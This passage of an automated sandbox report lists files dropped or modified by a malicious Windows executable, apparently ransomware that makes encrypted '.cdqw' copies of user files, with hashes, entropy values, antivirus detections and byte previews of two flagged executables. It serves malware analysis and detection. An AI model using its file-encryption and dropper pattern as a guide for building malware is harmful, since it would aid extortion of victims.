SHA-512:	05FDE5EBD8F700B9667F487E901A3D917C94BB197397A683C5ED7BD21C495CE8A3C8A725B947A323BDE52427DCA26B07B964422A57212E7BF24F66B176B21818
Malicious:	false
Preview:	{"os_Ru.pf.U+..h.[.sZMO..1...Z\.V.m....\|A4x%...xd...)..h......qa....Jo...../..'......\G..{.N.=...-..+..3.I.....iG....'..$...Hg^q.Q...9...\|L.Ei.y+..jv$....<..`..\......,....(...0....f.b.......,.....)o.......).5..#.R....e...[{.....@.?............]........]..cE.iU..1........i.O%.ns}~!....:6.n......S....#.e...=\|.A. X.N....[..b...j....0.....4.rj..lI.p.&.k./7R1. ru....O....[.[.K.....-...bU....z..k_.....6n4.n...g.Y.{.........U.W4T...raR.e;..E.@......`.b.....9gn..g\!....(....7.....G...5...!..P.9......5..C....5.....n4....7_.?.MS.;....b..X.T.Eix.K.....:A..:.J.....0.f.45.9.{.z.,.Gc.....QP..SP.lK..d=.k...6....ur.......b........MX...V......S.A...{.l..../.Xs.I.I..t-B~...Q..}......;.[Am..d.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	5297
Entropy (8bit):	7.968097067638967
Encrypted:	false
SSDEEP:	96:/dMJnT+gexIGO27g8iOG2rQT2iVnXDKpCZHRP5Ghk6RSCf4hjgZ46s+c:/dGnNjv27gVl2rKHVDwCZxoW0q6c
MD5:	96635B3C4EB60EECF57F6C39C068E096
SHA1:	1CF073C26F52AF43F23298089751D97F9F4D5F34
SHA-256:	68C82C476F48AAE1008A378E4ABF316A6BDC67C0D4253B3516BCD5DC4CC57C14
SHA-512:	7DB32708604776073ABBB2F439258415BEFEAA7E84F00396A0C9B565623FF78220B7D46908E7DB14BA958E7D074475DDE8470771990FD6BB3FEB097B4AE84382
Malicious:	false
Preview:	...#u..g...Y.{....8h.~..N-..............F..0.<......\mv.....LWT#/..NQ.....x5.F......\|.`R.Bu..i..m..v...a....KE....sz.v.f{9/.bkU..R...`{Z.q{K.....9..j..........u.T.#...U`..._7.#vC.l...~./......K.c.......,Kuk...N.cO=V.. .c...&...S.g..E6..6.v6k..T./....3.>6...K.....v...9.rj..J_Q?....F[..B......2...xF..3..._...g...4u..J...}.(.k......./u{..@...........V... .....H.....f^..A?jb...B.".#............`-..:.....J..>m".X?..Q...dj`.I..:.... .v...5Hw....w.{.$..S...v.......2)."b.....3~PnK..vw......!..%.%'\|=..n..j ....E...i..../Ba..#..?.....\.z.&&_...._.n^.t.ox.......66..U).<..). .0P.u..y$.}1R.....5.....K...........^...x.Rf}..}..7..........X.......(...x.C:.Mu.b..t..@....f.p...y.w..#..9E*..[....._z...1t.D.H?.u6D....D.qH.h..=..d....(..5..z..%.=zy ....D......~...-5.a[. m..r..G..c...{w..r....6...E..%2BC.F.h..F@.....Dr..2..U........N..FJ....".Kb.......H;w1.v.ib?\|...P$...\|......n.N;{.Q'.36J.i....c.j....".....Y......O.K... .\|>...N...Y.V..

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	5297
Entropy (8bit):	7.968097067638967
Encrypted:	false
SSDEEP:	96:/dMJnT+gexIGO27g8iOG2rQT2iVnXDKpCZHRP5Ghk6RSCf4hjgZ46s+c:/dGnNjv27gVl2rKHVDwCZxoW0q6c
MD5:	96635B3C4EB60EECF57F6C39C068E096
SHA1:	1CF073C26F52AF43F23298089751D97F9F4D5F34
SHA-256:	68C82C476F48AAE1008A378E4ABF316A6BDC67C0D4253B3516BCD5DC4CC57C14
SHA-512:	7DB32708604776073ABBB2F439258415BEFEAA7E84F00396A0C9B565623FF78220B7D46908E7DB14BA958E7D074475DDE8470771990FD6BB3FEB097B4AE84382
Malicious:	false
Preview:	...#u..g...Y.{....8h.~..N-..............F..0.<......\mv.....LWT#/..NQ.....x5.F......\|.`R.Bu..i..m..v...a....KE....sz.v.f{9/.bkU..R...`{Z.q{K.....9..j..........u.T.#...U`..._7.#vC.l...~./......K.c.......,Kuk...N.cO=V.. .c...&...S.g..E6..6.v6k..T./....3.>6...K.....v...9.rj..J_Q?....F[..B......2...xF..3..._...g...4u..J...}.(.k......./u{..@...........V... .....H.....f^..A?jb...B.".#............`-..:.....J..>m".X?..Q...dj`.I..:.... .v...5Hw....w.{.$..S...v.......2)."b.....3~PnK..vw......!..%.%'\|=..n..j ....E...i..../Ba..#..?.....\.z.&&_...._.n^.t.ox.......66..U).<..). .0P.u..y$.}1R.....5.....K...........^...x.Rf}..}..7..........X.......(...x.C:.Mu.b..t..@....f.p...y.w..#..9E*..[....._z...1t.D.H?.u6D....D.qH.h..=..d....(..5..z..%.=zy ....D......~...-5.a[. m..r..G..c...{w..r....6...E..%2BC.F.h..F@.....Dr..2..U........N..FJ....".Kb.......H;w1.v.ib?\|...P$...\|......n.N;{.Q'.36J.i....c.j....".....Y......O.K... .\|>...N...Y.V..

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	661
Entropy (8bit):	7.735639194311829
Encrypted:	false
SSDEEP:	12:kkV5MLXWhjMpa2/fjimnXhydc42/D2vqopOPmzEw12ZWg1ZzlWSUdNcii9a:nVWLQsa22Tt2/DmTUvY2og1t2bD
MD5:	9FCE1167F852984DC678291C7CEF4BBC
SHA1:	E0585C7383DADB07BC92D9B9658295D4DD848758
SHA-256:	9EFFC2A2D5EBBE09CBD994FDE5ED04474634CEEA6C78FCEF449D6E137C078773
SHA-512:	3FE7548278DCA6604EB0F78CDA2E5B0EB3611CF374CB04FE89572A023015E0DC8A781D096F55575A8F8D7B860CDA51935ED3531B15DB57F7C37087584E2AD91F
Malicious:	false
Preview:	2023/.p.....=>#..n...d....2.Ab.e{j.O..2`G./#...z5.RK......(Dz...Y..k+....6..u..o.Jw... .C....:f...[T..\|.+.B...j.$]L+Y=.i^'.Z@..~#KhLQ...],..5nt!.!.(g....&U...dj.u..o.?.(.!....6M..x>......u.e.q]...hF.....\|'..L..bL-m@..]i....:.3p....J..2......<....A...GZ...EL......d..~^.,....1......%.&1..*t...xUF....[.)u......V8....\6......X....).w...\|U.P(..o'lN.+'.R.SJ.p3....pA..\|.]...%..`<....r.,>._...B..j0..s.4...reM `.....E....A.R..0.........dqS......P...<y...b{5...?.(...0d(.k..&.... d...W...a.^X..W..."l.,.S.0....B...x...c%.& .~.H.Y......mP5.w0.+l.. hn...y..g.V...XmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	661
Entropy (8bit):	7.735639194311829
Encrypted:	false
SSDEEP:	12:kkV5MLXWhjMpa2/fjimnXhydc42/D2vqopOPmzEw12ZWg1ZzlWSUdNcii9a:nVWLQsa22Tt2/DmTUvY2og1t2bD
MD5:	9FCE1167F852984DC678291C7CEF4BBC
SHA1:	E0585C7383DADB07BC92D9B9658295D4DD848758
SHA-256:	9EFFC2A2D5EBBE09CBD994FDE5ED04474634CEEA6C78FCEF449D6E137C078773
SHA-512:	3FE7548278DCA6604EB0F78CDA2E5B0EB3611CF374CB04FE89572A023015E0DC8A781D096F55575A8F8D7B860CDA51935ED3531B15DB57F7C37087584E2AD91F
Malicious:	false
Preview:	2023/.p.....=>#..n...d....2.Ab.e{j.O..2`G./#...z5.RK......(Dz...Y..k+....6..u..o.Jw... .C....:f...[T..\|.+.B...j.$]L+Y=.i^'.Z@..~#KhLQ...],..5nt!.!.(g....&U...dj.u..o.?.(.!....6M..x>......u.e.q]...hF.....\|'..L..bL-m@..]i....:.3p....J..2......<....A...GZ...EL......d..~^.,....1......%.&1..*t...xUF....[.)u......V8....\6......X....).w...\|U.P(..o'lN.+'.R.SJ.p3....pA..\|.]...%..`<....r.,>._...B..j0..s.4...reM `.....E....A.R..0.........dqS......P...<y...b{5...?.(...0d(.k..&.... d...W...a.^X..W..."l.,.S.0....B...x...c%.& .~.H.Y......mP5.w0.+l.. hn...y..g.V...XmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.383214632335708
Encrypted:	false
SSDEEP:	6:4j46p1l02iztfChN+1WLnxwXmh19FEFr9oh/HP4q4h/2uDgoREinIS1WdNcii96Z:4jl0HpKP+opO42h/2MbWSUdNcii9a
MD5:	4D45D7BDC209ED32CB9EFDAE13C3B81E
SHA1:	118F2621FA54063CAA6383772275096C53163206
SHA-256:	485F4A7B08AD50BAEC04BC3C25763C920701BB4DE3807498C91D73B75A52714D
SHA-512:	15930EBC6A924BA5A40ED0F2DC9D26F1BBE18765A4646FFE8FFE057A931B0B3507A7B9487E31B6E10A01CDBE961D0C74C9AA03D7DB7C16E46AC2EBB3F666EC40
Malicious:	false
Preview:	..../......F...!...U4.c.`......}...;.PZm.....Xr...}hd..p._....Vx.....9..T.s........9.M..k.4......Gx...\.}A)..M..... ,.....#...J..X..z.:\..%..m~j..[z..g...b....1.X.......O..N^...0.,C...!..f1..R.'..Wk.....C.h[u.4...[.Yn.-lB....b^S.6.....Z.YN.n..O...M.$....\|...i..%Ap."f..0..p...[.r!.@3..w1.^..@.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.383214632335708
Encrypted:	false
SSDEEP:	6:4j46p1l02iztfChN+1WLnxwXmh19FEFr9oh/HP4q4h/2uDgoREinIS1WdNcii96Z:4jl0HpKP+opO42h/2MbWSUdNcii9a
MD5:	4D45D7BDC209ED32CB9EFDAE13C3B81E
SHA1:	118F2621FA54063CAA6383772275096C53163206
SHA-256:	485F4A7B08AD50BAEC04BC3C25763C920701BB4DE3807498C91D73B75A52714D
SHA-512:	15930EBC6A924BA5A40ED0F2DC9D26F1BBE18765A4646FFE8FFE057A931B0B3507A7B9487E31B6E10A01CDBE961D0C74C9AA03D7DB7C16E46AC2EBB3F666EC40
Malicious:	false
Preview:	..../......F...!...U4.c.`......}...;.PZm.....Xr...}hd..p._....Vx.....9..T.s........9.M..k.4......Gx...\.}A)..M..... ,.....#...J..X..z.:\..%..m~j..[z..g...b....1.X.......O..N^...0.,C...!..f1..R.'..Wk.....C.h[u.4...[.Yn.-lB....b^S.6.....Z.YN.n..O...M.$....\|...i..%Ap."f..0..p...[.r!.@3..w1.^..@.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	modified
Size (bytes):	460
Entropy (8bit):	7.467211092571384
Encrypted:	false
SSDEEP:	12:GP2E4jD/s0RMW6N6o6mzLpAm8uUNe0c7GWedYQSUdNcii9a:GvO/snWSblmNeT7GZ2H2bD
MD5:	111A1A6D84DB446C3A6B0BCAD90C13D8
SHA1:	5B6E0DF4EA9109DFD705AF7CA80CCBB77BEC7494
SHA-256:	AAF8BA7C7BBF161C4D88FBEFB3DC6FF49540D1DDC8A2213C62B3B5C56271BE34
SHA-512:	B61F7A74C8324D3160347E68068BF85A92DB5371D16AE28C71343DFD1104E456B7BBDE0B4F240547AB367DB9F070417CAFE615A0DC16C909EFF397635EA4F8F4
Malicious:	false
Preview:	.h.6.ebP.DA...t.TP.j..^-.... .4.m......^.3.f+..p.g..I.D..x8?v.+.R3.da...../....bSW..3.3K.Q.SE.y..c?.j......>K....OKY............._#...f......)..5..Eb.%*/Y..r.]...{.bo..n...E....e.]=......`..#.>.(/#...+m.....@N....1...v....L.].n....I.D...@.'...]q.@T.'j.pB.XK..&G....p...x...sS.B..h..=2Z.P..^=.\|....R."b.O...^...j^J.p...{.l..3t.{..M.0Y.".,.....O.....\|$.K..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	460
Entropy (8bit):	7.467211092571384
Encrypted:	false
SSDEEP:	12:GP2E4jD/s0RMW6N6o6mzLpAm8uUNe0c7GWedYQSUdNcii9a:GvO/snWSblmNeT7GZ2H2bD
MD5:	111A1A6D84DB446C3A6B0BCAD90C13D8
SHA1:	5B6E0DF4EA9109DFD705AF7CA80CCBB77BEC7494
SHA-256:	AAF8BA7C7BBF161C4D88FBEFB3DC6FF49540D1DDC8A2213C62B3B5C56271BE34
SHA-512:	B61F7A74C8324D3160347E68068BF85A92DB5371D16AE28C71343DFD1104E456B7BBDE0B4F240547AB367DB9F070417CAFE615A0DC16C909EFF397635EA4F8F4
Malicious:	false
Preview:	.h.6.ebP.DA...t.TP.j..^-.... .4.m......^.3.f+..p.g..I.D..x8?v.+.R3.da...../....bSW..3.3K.Q.SE.y..c?.j......>K....OKY............._#...f......)..5..Eb.%*/Y..r.]...{.bo..n...E....e.]=......`..#.>.(/#...+m.....@N....1...v....L.].n....I.D...@.'...]q.@T.'j.pB.XK..&G....p...x...sS.B..h..=2Z.P..^=.\|....R."b.O...^...j^J.p...{.l..3t.{..M.0Y.".,.....O.....\|$.K..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 66791 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	66791
Entropy (8bit):	7.995531727155867
Encrypted:	true
SSDEEP:	1536:drFvD2YSE/sFDqV0FJJynkAhftCvMd3coa282frgW1qgNzU:drVDJSeaDqV0FJwLhVkr282fF5U
MD5:	AC05D27423A85ADC1622C714F2CB6184
SHA1:	B0FE2B1ABDDB97837EA0195BE70AB2FF14D43198
SHA-256:	C6456E12E5E53287A547AF4103E0397CB9697E466CF75844312DC296D43D144D
SHA-512:	6D0EF9050E41FBAE680E0E59DD0F90B6AC7FEA5579EF5708B69D5DA33A0ECE7E8B16574B58B17B64A34CC34A4FFC22B4A62C1ECE61F36C4A11A0665E0536B90D
Malicious:	true
Preview:	MSCF............,...................I.................gW.e .authroot.stl..u/1.5..CK..<Tk...p.k:..c.Y:.(Qc...%Y.f_...$..DHn..6i/.]....-!QQ..}f..f...}..1....9.......pN..mI.a.....!...N.....xP.f6..C.'#.c.@GN(3.<3.......9...('3...l.l....B..x..e...UWFU.TT.l.L...._.l1......w.\..Xb.v..Q......pKP.....M`.Y......Op4=.(=P.e...p.(U.....z7MF..O......V2.....#...pj...z.!...wQ...V&.Gz..Nv.4..y(J...A..':.2Q.^u.y..<.1..2..o........H.D.S.....62.\| w(...B.......h.QZ..'....l.<....6..Z...p?... .pT.......l..S..K....FT?.....p..`.&..y..."T=l.n..egf.w..X.Y...G.m....=.}cO.7.....9....o..:.Y=.-.5....ud.J&.]..Q..._<.S....{a.=.n...PT.Um).\| kpyA....h.PXY.>.......^2U...H.....V<\...k..~....H..p...8..'..?...r>.4..!u......1\.`.<.+..n..p..]...).....L.g....#.<..c]R.U."\i.Z.>...`Q..g6....0.......F.........N.s.Z..A........m.^....a_..>v.-.mk...wt.n.:...>S..;....1...j.+m.&S......$.T...i.B=h.n...c.!e.....Y.#..bw.}...d.. ..w... .&..w.9..}k...\...=....{q.Up..y;..7.-.K.'.....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.0936340965056672
Encrypted:	false
SSDEEP:	6:kKHsurN+SkQlPlEGYRMY9z+4KlDA3RUeWc3l0:kPkPlE99SNxAhUeWcC
MD5:	450EC80A6AD3DC3524C456E22F414A47
SHA1:	35BAEC1EFB7138E3AECD8657562EF05AB8D8DFB2
SHA-256:	D737E2C38716ED6A223FD9E0A9A9244B726091A5094278015EFCB2566C6EC206
SHA-512:	6DAE7ED82715FA939260C5F2110D8BA3F06CBAB47C424970282E3947DD48F53F90189C930B4850F91EE8E6C90DF11E4DA94501FA233FEE4132C6B6A35DD2EB44
Malicious:	false
Preview:	p...... ..........w..D..(....................................................... ..........H"......(...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".3.f.e.4.e.6.1.a.4.8.2.2.d.a.1.:.0."...

C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	367104
Entropy (8bit):	6.976668751990096
Encrypted:	false
SSDEEP:	6144:pfLgtyckjU51Vc7lLUvTlR2agQAYNMQSnjbeg:pfMtycGU5/klLUvTlR5Aiuv
MD5:	C4070DA9F9B0581171AF16E681CCDFF8
SHA1:	3FB4182921FDC3ACD7873EBE113AC5522585312A
SHA-256:	26063C78E5418610471A9F3A00A155D7D1E5B29856E1979BA3BDC42681A871D0
SHA-512:	C7569CEA7F1A841E7CAC9CD41287DBA3BCACF2CF9DEE7BECE88800848A7AD5DC4CD2BDC896C7389F0F1144079BBE168048B3F722BCD76FA5D6E14F3081BB6427
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 38%
Joe Sandbox View:	Filename: E0tabE4K4r.exe, Detection: malicious, Browse Filename: sbvN2ih5AU.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......`...$...$...$...:...5...:...v...:........A..'...$...x...:...%...:...%...:...%...Rich$...........................PE..L......d............................."....... ....@.................................W}......................................\U..(............................................................H......XH..@............ ..t............................text...y........................... ..`.rdata...=... ...>..................@..@.data...\|....`.......P..............@....tls................................@....rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	704512
Entropy (8bit):	7.84997937294867
Encrypted:	false
SSDEEP:	12288:DFaV1oBGxcJ7Mj8G25d970Ecg3zgb5pzisLx+uGwE9EzX7:8VWBxC8rJ3zgbesLxrPyE
MD5:	CD2A2421B83821C6C98E6D0BD346D7BD
SHA1:	0723C84C1E70A010E60B623526D146A469A69420
SHA-256:	9DFB6B41C90732C9206EF6F65A941B1061126EAD69E3715D79519196DAD5899C
SHA-512:	F054710A96054DB19B87511431B0868CEB824F94B8FD5E74A24298013C08D056B5BDEB56B4BC2BAAD3F4F343BEA2BDE82FE9A3DE2A5698778EDFCCCF7F97C58F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L....yd......................C.....P>............@...........................L.....II.......................................9..d....`L..}..........................................................x-..@............................................text...b........................... ..`.rdata..(3.......4..................@..@.data...\|.B..P.......*..............@....rsrc....}...`L..~...B..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1483
Entropy (8bit):	7.85374053183912
Encrypted:	false
SSDEEP:	24:KfBTakSzqtm3M3QTXSYe39mL7xpBFPTT9gtfw4F5G2Xf94IeIejR7AjEVy42bD:Kf8WaCYy9mXXBFdgtw4FQ214IQd7AjY2
MD5:	DFBAEC6715279C8D38C5764782E24574
SHA1:	F45D6F083C8A9877DD1A21D12C8EB3EC11061033
SHA-256:	C10E4F4320A898CE86771382BB335F85469801A70A0C3F6CD7CCB12CECCC6372
SHA-512:	6E2189C025FBFF0EA3507C9CFD6656C20126C263CCFC710664765E84B90291687C9D6840EEEBE00FED23ACF4CB1C9B056D385501A398A1008E34242ED89F1F4E
Malicious:	false
Preview:	...#..#m...^cz..M....Y.....M..../T$....z...d\..%....%....>...,..p.+.M..)...M.@r.}/.@....$..\|.G.9....h\|q.>Z..e...\|.b..g.@....'A3.......i.\k.po..")4....wv..^{.,F.....<[...`.....#L...I!..............z..6.5!...z..Bw..;.Ik......b#...z.M..`."."....,...7..gx..0@.s.dQ@.<.g...I\I=.....=%.'...a.U,..eR.O..G.=mE..@..{T.h.I..6.N.$=. ...<...%.\|Q..].a&.[..."..M].<z....ko.o.{.....p...xdl..X.P7..?.b.0...E..~....iB.;\~,]..b............%.Pb..a..9 %..3...op8....C.....N.V.V..f.T..X.Vh...)..VI.......f.7.c..!.7...j ..(-.J4.w........S../......KNVC....)...9jL....0........3....M.Q..U.. i..>..1..9+..?....X...`.f.k5......V..K-h.i!\|?..%..C./....G$...BGfL....Z...sB...."_}..U.....H..:.u.....?6.\|.8....\O9.BI.=g?Z..(K7d/E)...F. .Z0..$x..uO.c.....@.Y.P./....M.X..z..~.Wo.D).....;.c0..R...M-X...Z...."..2#.@V.......8......@.U/..S"....o..&{Tx.g....,S.w..{.....r6......Q;.'.XYc.\..i.....Q..z.i.(npmg@.h..f..J.R....l"R....."[...].Z...ND.MC..X..%.W..i\|...Bh.m...%9^.j....C..

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.868764349171421
Encrypted:	false
SSDEEP:	24:nQ8xBnidfQKrWx6cDsheCJYzyIowETQhJzWothajXgxDd0I45UWKCw2bD:BxBnwohSJYOwjJzFEb0WKCjD
MD5:	7C8966EA77AA3ED17E7CCFA0F248E8BE
SHA1:	D845BB790F1C30E88257A92E46047FB7124F5309
SHA-256:	611A6ABBA911608A0BAD39167B8657854EF4A8400886FA4DA826EEEA1F167356
SHA-512:	9060DB9D3C72891D2141FF28871D79A0012A05E7BD17E3A62C006E180ECD710A546B509B1FA45B3CED8294E95457A32826D885F462BE76B3EFF5ACFB3E6BF771
Malicious:	false
Preview:	%!Ado....x.m...3.{.....d..L..E..kT6{..YNg.>.k..)........1^Y6K#. T.J....6......+...n....Fy....N......h.Af.v....T...,.7.(.L..V.]sAm..\|.,A..x.w.>t..}.h..Y.....$...]&h.D...^.....+.W...{........./J..7...f...V.....z.-(..^x....'..Q.J..B#...;x7.n....OCy[8.~...W....SHD(.F...BT@.............>.a..s......a;.C..?].....@j...A.......Q....(r2..T..>(SWTw.%.\"N.Y..!.?.....q.!.pc.i..Fc......w.![.\..I]......J.f.A..-............#...fUbA"m..f.6u..).`...p....=..J.$.Yg...t......I.fxV......{0...J....GH.DRh@...V..=....@FT7r.R..p..cv.L+B..A..'..kk..S.Nh..E.".i...j3..xw._.x.........B{Ia..H....6j..H..}Qa..Dn..`.R..-m..<.F......S..P..T..e..%T...!S...H..Q........4.m)...V..D<#._..}.,.-....d;2....6..O..S-...l%.A.{.{.j.Y..xP.~..I........[.A;N.RO..$.Xj........'..-.4U.......XG....W0..e4W.8.p..l.15....e..~/.....#}1Z3..d.^.Z...v..!..X..X..>....Z.1.z.LX....I..\|j.O....CiHw.!U..}.>...V@:.^w..._...n..*.......PQ..q\|.p.V......d..G..];.2:..W....f....4.Q....d...a.]W.8..

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.876776748241547
Encrypted:	false
SSDEEP:	3072:7Z4ZHovxk+7YTO3bIiCK5jvOrHJR6h88N86aX1FC4PvVZcNYtQ2XE07ZmandGCyZ:7Z4doS+7YqrdjvOrp0hWTbCKZcC/XE0G
MD5:	E1363B25AC98422DDFD9320EE2038E68
SHA1:	3392C408BE19A8E0246C4A55087F44C925A6ECBD
SHA-256:	81E8FBFFFF790D278AA3DC00B963C8B72E811FD40325EBAC81745A2289309C30
SHA-512:	E874AC7504F2AF41676F61AD4AFC892194AD76203110A8CD150D50673D3B2FFE9BFF842F5E694441DE340C26336BF5936FA4474CDE807DD60F503F718E7A1FFC
Malicious:	false
Preview:	%!Ado....y4).+o...-W..^z.....1.B.q.'.h......5....h.......'....6...x(Ja......,V)O.E\|..^.........T.,.....u....v...1tX9x...\|.....zq5&.._.].pi..V.~..&_R-....S.I.a....a....."T.!c.3.."....k.I.\|8.\|.{rx`..4..\|...D.j..S......G.L.P...-,k[..@.G..&L7kG......P.....9..f.[M.n{"R..Y<.Q....st.[9.rT...B...1.r...h..M..~{&..\{z.Ro..2..e..[.Q-}...]M..;..W.....q.....&..4.....r../..u.....b..@h....wF..y...0LB.......~.._.`...k..WWC........K.qu...:.p.RWI...w...#y1+...P:..^}.....M..?x.q-DL.N....h...#)..g.z...d......C...;.r.C......o}U..K1./C.d.........+[j....P...#.....I4F`..,Qk...v.#l;-.K.....F.C.s...$.I.`..R..."...T&...qy...EK)....6....y?&.!._...\|:.O.t.T....Z.(.wz(.?5d..H.vP..2.........6e..7.....7......(_IZ.%....?7y..ea.h.....w}.O1O.r..m3.{...=.%...LM....c..WT.^Ro....}.s".k...d ...:)%H..4..Du.........~.@.V...Nl.I....iGuJ.....z...Q.R..L...}A.2...2.&`G&u.....1n..../.....zh.p;..s..q.S.F..W.V....U.9.....@1..L.^.$.".\|....B...a.....I4/......"....nM\.{g.N.wL

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	227336
Entropy (8bit):	6.985745282050987
Encrypted:	false
SSDEEP:	6144:wRWaJKCmb/8vlrISkR7G7rP+jUDVSP/9nW:woaoVbU8KGU9
MD5:	021420B3611C2CC9841D7D4D2A9FDC16
SHA1:	73D7A9E85214C8217E75660527C9A92B58646146
SHA-256:	EE96A53E2171ED7768D8A803F8CF4772F8960CF1CF313844D79EC1E68A3874E5
